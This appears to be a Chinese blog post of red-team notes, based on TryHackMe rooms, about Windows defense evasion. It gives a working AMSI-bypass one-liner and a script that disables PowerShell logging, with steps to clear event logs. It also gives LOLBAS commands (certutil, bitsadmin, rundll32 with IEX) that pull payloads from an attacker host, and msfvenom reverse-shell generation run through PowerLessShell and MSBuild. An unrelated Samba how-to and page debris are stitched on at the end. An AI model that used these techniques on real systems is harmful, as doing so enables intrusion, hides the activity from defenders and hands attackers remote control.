作为攻击者,当针对上述组件,我们在执行代码或滥用组件时需要注意 AMSI 及其实现。

PowerShell降级

大多数PowerShell会话将从最新的 PowerShell 引擎开始,但攻击者可以通过一行代码手动更改版本。通过将 PowerShell 版本“降级”到 2.0,我们可以绕过安全功能,因为这些功能直到版本 5.0 才实现。
使用以下代码即可:

PowerShell -Version 2

image.png
这种攻击可以在Unicorn等工具中被积极利用 :

https://github.com/trustedsec/unicorn

蓝队有多种方法可以检测和减轻这种攻击,两个最简单的缓解措施是从设备中删除PowerShell 2.0 引擎并通过应用程序阻止列表拒绝对 PowerShell 2.0 的访问。

powershell 反射

反射允许用户或管理员访问.NET 程序集并与之交互。根据 Microsoft 文档,“程序集构成了基于 .NET 的应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。” .NET 程序集可能看起来很陌生;然而,我们可以通过知道它们以熟悉的格式形成,例如exe(可执行文件)和dll(动态链接库 )来使它们更加熟悉。

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

自动化

攻击者可以使用其他自动化工具来破坏 AMSI 签名或编译绕过:
使用powershell代码在网站进行编码即可

http://amsi.fail/

逃避日志记录和监控

攻击者路径中最大的障碍之一是日志记录和监控。与防病毒和EDR(端点检测和响应)解决方案不同,日志记录创建可以分析恶意活动的物理活动记录。
如何监控设备将取决于公司的环境和偏好。团队可能决定根本不监控某些设备。通常,监控解决方案将从主机设备开始,收集应用程序或事件日志。创建日志后,它们可以保存在设备上或发送到事件收集器/转发器。一旦它们离开设备,防御团队就会决定如何聚合它们;这通常是使用索引器和SIEM(安全信息和事件管理器)来完成的。

一旦从设备上获取日志,攻击者可能没有太多控制权,但可以控制设备上的内容以及获取日志的方式。攻击者的主要目标是事件日志,由ETW ( E vent T racing for Windows ) 管理和控制。

事件追踪

Windows 中的几乎所有事件日志记录功能都是由 ETW 在应用程序和内核级别处理的。虽然还有事件日志记录和跟踪日志记录等其他服务,但这些服务要么是 ETW 的扩展,要么对攻击者来说不太常见。

成分													目的
(控制器)Controllers				 				构建和配置会话
(供应商)Providers								生成事件
(消费者)Consumers								解读事件

日志规避方法

遵循安全最佳实践,现代环境通常采用日志转发。日志转发意味着SOC将日志从主机移动或“转发”到中央服务器或索引器。即使攻击者可以从主机中删除日志,它们也可能已经脱离设备并受到保护。
如果我们在转发日志之前,删除了所有日志。如果没有来自设备的日志,则可能会引起严重怀疑并导致调查。即使攻击者确实控制了删除和转发的日志,防御者仍然可以跟踪篡改行为。

事件ID											作用
1102										清除 Windows 安全审核日志时记录
104											清除日志文件时记录
1100										Windows 事件日志服务关闭时记录

上述事件ID可以监控销毁日志或“日志粉碎”的过程。这给试图篡改或破坏日志的攻击者带来了明显的风险。尽管可以进一步绕过这些缓解措施或篡改日志,但我们必须评估风险。在接近某个环境时,通常不了解安全实践,并且尝试此方法会带来OPSEC(操作安全)风险。

追踪仪器

ETW 分为三个独立的组件,共同管理和关联数据。Windows 中的事件日志与通用XML数据没有什么不同,因此易于处理和解释。
事件控制器用于构建和配置会话。为了扩展这个定义,我们可以将控制器视为决定数据如何流动以及流向何处的应用程序。
具体可以参考官文文档:

https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers

事件提供者用于生成事件。为了扩展这个定义,控制器将告诉提供者如何操作,然后从其指定源收集日志。还有四种不同类型的提供商,支持各种功能和遗留系统:

提供者																			目的
MOF(托管对象格式)_ _											定义 MOF 类的事件。一次由一个跟踪会话启用。
WPP(Windows软件跟踪预处理器)						  与TMF (Trace Message  Format )文件关联 以解码信息。 一次由一个跟踪会话启用。
基于清单的												    定义清单中的事件。一次最多可启用八个跟踪会话。
跟踪记录														包含所有必需信息的自描述事件。一次最多可启用八个跟踪会话。

// 官方文档
https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers

事件消费者用于解释事件。为了扩展这个定义,消费者将选择会话并同时解析该会话或多个会话中的事件。消费者可以同时从多个事件跟踪会话请求事件;系统按时间顺序传递事件。消费者可以接收存储在日志文件中的事件,或者从实时传送事件的会话中接收事件。
这些组件中的每一个都可以组合在一起,以充分理解和描述 ETW 中的数据/会话流

从开始到结束,事件均源自提供者。控制器将确定数据发送到何处以及如何通过会话进行处理。消费者将保存或传送日志以供解释或分析。
了解了 ETW 是如何检测的,在保持完整性的同时限制可见性的目标。我们可以通过定位组件来限制洞察力的特定方面,同时维护大部分数据流。下面是针对每个 ETW 组件的特定技术的简短列表:

成分												技巧
提供者								PSEtwLogProvider 修改、组策略接管、日志管道滥用、类型创建
控制器								修补 EtwEventWrite、运行时跟踪篡改、 
消费者								日志粉碎、日志篡改

常见的事件ID

脚本块日志记录将记录PowerShell会话中执行的任何脚本块。ETW 提供程序在 PowerShell v4 中引入并在 PowerShell v5 中改进,它有两个要报告的事件 ID。

事件ID             					        目的
4103									记录命令调用
4104									记录脚本块的执行

查找 4103事件ID的数量

 Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4103} | Measure | % Count

image.png

日志规避

通过powershell反射,执行脚本

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static');
  If ($GroupPolicyField) {
      $GroupPolicyCache = $GroupPolicyField.GetValue($null);
      If ($GroupPolicyCache['ScriptBlockLogging']) {
          $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0;
          $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0;
      }
      $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new();
      $val.Add('EnableScriptBlockLogging', 0);
      $val.Add('EnableScriptBlockInvocationLogging', 0);
      $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $val
  };

image.png
打开日志管理器
image.png
如图进行清除日志
image.png
然后来到这个目录下,找到powershell,删除日志并且关闭日志启用
image.png

靠土地为生

什么是靠土地为生?

这个名字取自现实生活,靠吃土地上现有的食物为生。同样,对手和恶意软件创建者也会利用目标计算机的内置工具和实用程序。

这些内置工具在目标系统或网络功能内执行各种常规活动,主要想法是使用 Microsoft 签名的程序、脚本和库来融入和逃避防御控制。红队成员不希望在对目标执行交战活动时被发现,因此使用这些工具可以更安全地保持隐秘性。
以下是靠土地生活的一些类别:

  • 侦察
  • 文件操作
  • 任意代码执行
  • 横向运动
  • 安全产品绕过

洛巴斯项目

什么是LOLBAS?

LOLBAS 代表 Living Off the L and B inaries And S cripts,该项目的 主要目标是收集和记录用作 Living Off the Land 技术的 Microsoft 签名和内置工具,包括二进制文件、脚本和库。

洛巴斯项目是一个社区驱动的存储库,收集了可用于红队目的的二进制文件、脚本、库的集合。它允许基于二进制文件、函数、脚本和 ATT&CK 信息进行搜索。下面是网址:

https://lolbas-project.github.io/

文件操作

Certutil

Certutil 是一个用于处理认证服务的 Windows 内置实用程序。它用于转储和显示证书颁发机构 (CA) 配置信息和其他 CA 组件。因此,该工具的正常用途是检索证书信息。但是它还可以下载web服务器的文件:

certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
  • -urlcache 显示 URL,启用在命令中使用的 URL 选项
  • -split -f 分割并强制从提供的 URL 获取文件。

编码文件:

certutil -encode payload.exe Encoded-payload.txt

解码文件:

certutil -decode Encoded_file payload.txt

certutil的官方文档:

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

BITSAdmin

Bitsadmin 工具 是一个系统管理员实用程序。用法如下:

  • /Transfer 使用传输选项
  • /Download 我们正在指定使用下载类型的传输
  • /Priority 我们正在设置要在前台运行的作业的优先级
bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe

findstr

是 Microsoft 内置工具,用于查找文件中的文本和字符串模式。使用 findstr.exe从网络内的SMB共享文件夹下载远程文件:

  • /V 打印出不包含所提供字符串的行。
  • dummystring 要搜索的文本;在代码中,我们提供了一个不能在文件中找到的字符串。
  • c:\Windows\Temp\test.exe 将输出重定向到目标计算机上的文件。
findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe

文件执行

该技术称为 “签名二进制代理执行” 或 “间接命令执行”,攻击者利用其他系统工具生成恶意负载。这种技术还有助于逃避防守控制。

文件管理器

文件资源管理器是 Windows 的文件管理器和系统组件,但是居然可以滥用滥用 explorer.exe 工具从受信任的父进程启动恶意脚本或可执行文件。
执行以下命令:

  • /root 用于指定打开资源管理器时的根目录
explorer.exe /root,"C:\Windows\System32\calc.exe"

image.png

WMIC

Windows Management Instrumentation (WMIC) 是一个管理 Windows 组件的 Windows 命令行实用程序。
运行以下命令:
创建一个新的进程来运行calc.exe

wmic.exe process call create calc

image.png

Rundll32

Rundll32 是 Microsoft内置工具,可在操作系统中加载和运行动态链接库DLL文件。红队可以滥用和利用 rundll32.exe来运行任意负载并执行 JavaScript 和PowerShell脚本。
rundll32.exe二进制文件 位于:

  • Windows 32 位版本的 C:\Windows\System32\rundll32.exe
  • Windows 64 位版本的 C:\Windows\SysWOW64\rundll32.exe

执行文件:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

image.png
远程web下载:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");

应用程序白名单绕过

不过现在该技术似乎过时了

Regsvr32

利用 msfvenom生成一个恶意的dll文件

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.91.80 LPORT=4444 -f dll -a x86 > live0fftheland.dll 

如下所示:

regsvr32.exe c:\Users\thm\Downloads\a.dll
or
regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\a.dll

使用第二个选项(这是一个更高级的命令),我们指示 regsvr32.exe 运行 :

  • /s:处于静默模式(不显示消息)
  • /n : 不调用DLL注册服务器
  • /i: : 使用另一台服务器,因为我们使用了 /n
  • /u:使用注销方法运行

image.png
如果我们想要创建 64 位 DLL 版本,注意在以下路径运行

C:\Windows\SysWOW64\regsvr32.exe的 64 位版本的regsvr32.exe

谍影重重 Shell (Bash)

2016 年,微软在 Windows 10,11 和 Server 2019 上添加了对Linux环境的支持。此功能称为 Windows Subsystem for Linux ( WSL ),存在两个 WSL 版本:WSL1 和 WSL2。WSL 是一个在操作系统上运行的Hyper-V 虚拟化Linux发行版,支持 Linux 内核和系统调用的子集。此功能是一个插件,用户可以安装该插件并与 Linux 发行版交互。作为 WSL 的一部分, bash.exe是一个用于与Linux环境交互的 Microsoft 工具。
人们找到了执行有效负载并绕过 Windows 应用程序白名单的方法,因为它是 Microsoft 签名的二进制文件。通过执行以下命令:

 bash.exe -c "path-to-payload" 

我们可以执行任何未签名的有效负载。

注意:需要在 Windows 10 中启用并安装适用于Linux 的Windows 子系统才能使用 bash.exe二进制文件。

其他技术

快捷方式

快捷方式或符号链接是一种用于引用操作系统内其他文件或应用程序的技术。一旦用户单击快捷方式文件,就会执行参考文件或应用程序。
要使用快捷方式修改技术,我们可以使用以下命令设置目标部分来执行文件:

  • Rundll32
  • Powershell
  • Regsvr32
  • Executable on disk

没有PowerShell

2019 年,Red Canary 发布了一份威胁检测报告,指出PowerShell是恶意活动最常用的技术。因此,组织开始监视或阻止 powershell.exe的执行。因此,攻击者会找到其他方法来运行PowerShell代码而不生成它。
PowerLessShell 是一个基于 Python 的工具,可生成恶意代码并在目标计算机上运行,而不显示PowerShell进程的实例。下载地址:

 https://github.com/Mr-Un1k0d3r/PowerLessShell

使用 msfvenom生成PowerShell 有效负载:

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4444 -f psh-reflection > a.ps1

image.png
运行 PowerLessShell 工具并将源文件设置为我们使用 msfvenom 创建的文件并且生成a.csproj文件:

python PowerLessShell.py -type powershell -source a.ps1 -output a.csproj

image.png
最后在目标机器运行

c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe a.csproj

然后可以看见接收到反向shell
image.png

参考

https://tryhackme.com/jr/introtoav
https://tryhackme.com/jr/obfuscationprinciples
https://tryhackme.com/jr/signatureevasion
https://tryhackme.com/jr/bypassinguac
https://tryhackme.com/jr/runtimedetectionevasion
https://tryhackme.com/jr/monitoringevasion
https://tryhackme.com/room/livingofftheland
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
在 Linux 中连接 Windows 主机,可以使用 Samba 工具。Samba 是一个开放源代码的软件套件,它使得 Linux 和 Windows 之间可以相互共享文件、打印机以及其他设备,从而使得 Linux 和 Windows 之间可以互相通信。 下面是连接 Windows 主机的步骤: 1. 安装 Samba 工具。在 Ubuntu 系统中,可以使用以下命令进行安装: ``` sudo apt-get update sudo apt-get install samba ``` 2. 在 Windows 主机上创建共享文件夹。右键点击需要共享的文件夹,选择“属性”->“共享”->“高级共享”,勾选“共享此文件夹”,并设置共享名称和权限。 3. 在 Linux 中打开终端,输入以下命令: ``` sudo smbclient -L //Windows主机IP地址 -U Windows用户名 ``` 其中,//Windows主机IP地址 是 Windows 主机的 IP 地址,Windows用户名 是 Windows 主机中的用户名。 4. 输入 Windows 用户名的密码,如果验证成功,则会显示 Windows 主机上共享的文件夹列表。可以使用以下命令连接共享文件夹: ``` sudo mount -t cifs //Windows主机IP地址/共享名称 /mnt/挂载目录 -o user=Windows用户名,password=Windows用户密码 ``` 其中,//Windows主机IP地址 是 Windows 主机的 IP 地址,共享名称 是 Windows 主机上的共享文件夹名称,/mnt/挂载目录 是在 Linux 中用来挂载共享文件夹的目录,Windows用户名 和 Windows用户密码 是 Windows 主机的用户名和密码。 5. 如果一切正常,就可以在 Linux 中访问 Windows 主机上的共享文件夹了。 注意事项: - 确保 Windows 主机和 Linux 主机在同一个局域网内,并且可以相互访问。 - 如果 Windows 主机上的共享文件夹需要密码验证,则需要在挂载时输入正确的用户名和密码。 - 如果无法连接 Windows 主机,请确保 Windows 主机上的 Samba 服务已经启动,并且共享文件夹的权限设置正确。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值